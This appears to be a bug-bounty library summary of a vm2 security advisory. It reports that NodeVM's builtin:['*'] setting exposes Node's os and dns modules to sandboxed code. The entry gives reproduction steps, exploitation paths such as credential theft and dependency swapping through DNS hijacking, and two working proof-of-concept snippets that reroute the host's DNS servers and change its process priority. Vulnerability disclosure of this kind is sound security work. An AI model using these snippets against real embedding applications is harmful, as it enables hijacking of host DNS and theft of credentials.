# vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)

vm2's NodeVM builtin:['*'] admits os and dns, letting sandbox code read host identity/topology and hijack host DNS via dns.setServers().

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: offset
- Disclosed: 2026-08-17
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m5w8-4gq2-6f8x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m5w8-4gq2-6f8x
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:misconfiguration vuln:sandbox-escape

**Target:** NodeVM builtin allowlist (lib/builtin.js DANGEROUS_BUILTINS)
**Root cause:** The DANGEROUS_BUILTINS denylist added process-wide observability modules (v8, perf_hooks, async_hooks, diagnostics_channel) but omitted os and dns, which expose host-process state and process-wide write APIs; the vm.readonly() proxy forwards calls to the host realm so it localises nothing.
**Steps:**
1. Instantiate `new NodeVM({ require: { external: true, builtin: ['*'] } })`.
2. In sandbox: `const os = require('os'); os.setPriority(10); module.exports = { userInfo: os.userInfo(), hostname: os.hostname(), networkInterfaces: Object.keys(os.networkInterfaces()) }`.
3. Observe host realm `require('os').getPriority()` now returns 10 and userInfo leaks uid/gid/username/homedir/shell.
4. In sandbox: `require('dns').setServers(['127.0.0.1:5353', '8.8.4.4'])`.
5. Host realm `require('dns').getServers()` now returns the attacker list; all subsequent host lookups route to attacker resolver.
**How found:** Read the GHSA-9g8x fix rationale ('process-wide observability builtins... belongs to the embedder') as a general invariant, then audited the DANGEROUS_BUILTINS set for other builtins matching that description and found os and dns missing, including their write APIs.
**Exploitation:** One line of sandbox code calls dns.setServers() to replace the host process resolver list; every later host DNS lookup (outbound HTTP, telemetry, npm registry, fetch, fs URL paths) resolves through the attacker, enabling credential/token theft via 127.0.0.1 answers, dependency swap via spoofed registry IPs, OIDC issuer subversion, or DoS by non-response. os.setPriority() mutates host nice value; os.userInfo()/networkInterfaces() leak host identity and topology.
**Escalation:** Chains with any host-side outbound HTTP or package fetch to convert DNS hijack into credential exfiltration or supply-chain compromise; composes with dgram/http/fetch whitelisting and future host-realm string introductions.
**Insight:** When a maintainer documents a security invariant in a fix commit, treat it as a checklist and enumerate every API satisfying it — including write/mutation APIs, not just readers; denylists of 'observability' modules routinely miss os and dns, whose setServers/setPriority are process-wide writes.

## Proof of concept (copied exactly from the original report)

**PoC: os reads and setPriority host write**

```
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
  const r = vm.run(`
    const os = require('os');
    const before = os.getPriority();
    os.setPriority(10);                 // mutates host process nice value
    module.exports = {
      userInfo: os.userInfo(),          // uid/gid/username/homedir/shell of host
      hostname: os.hostname(),
      networkInterfaces: Object.keys(os.networkInterfaces()),
      uptime: os.uptime(),
      priorityBefore: before,
      priorityAfter: os.getPriority()
    };
  `, 'os.js');
  console.log(JSON.stringify(r, null, 2));
  // Independently verify the host process now reports the bumped priority:
  console.log('host getPriority() =', require('os').getPriority());
```

**PoC: dns.setServers host DNS hijack**

```
const dnsHost = require('dns');
  console.log('host DNS before:', dnsHost.getServers());

  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
  vm.run(`
    require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
  `, 'dns.js');

  console.log('host DNS after:', dnsHost.getServers());
  // Every subsequent dns.lookup() in the host process now hits the attacker.
```

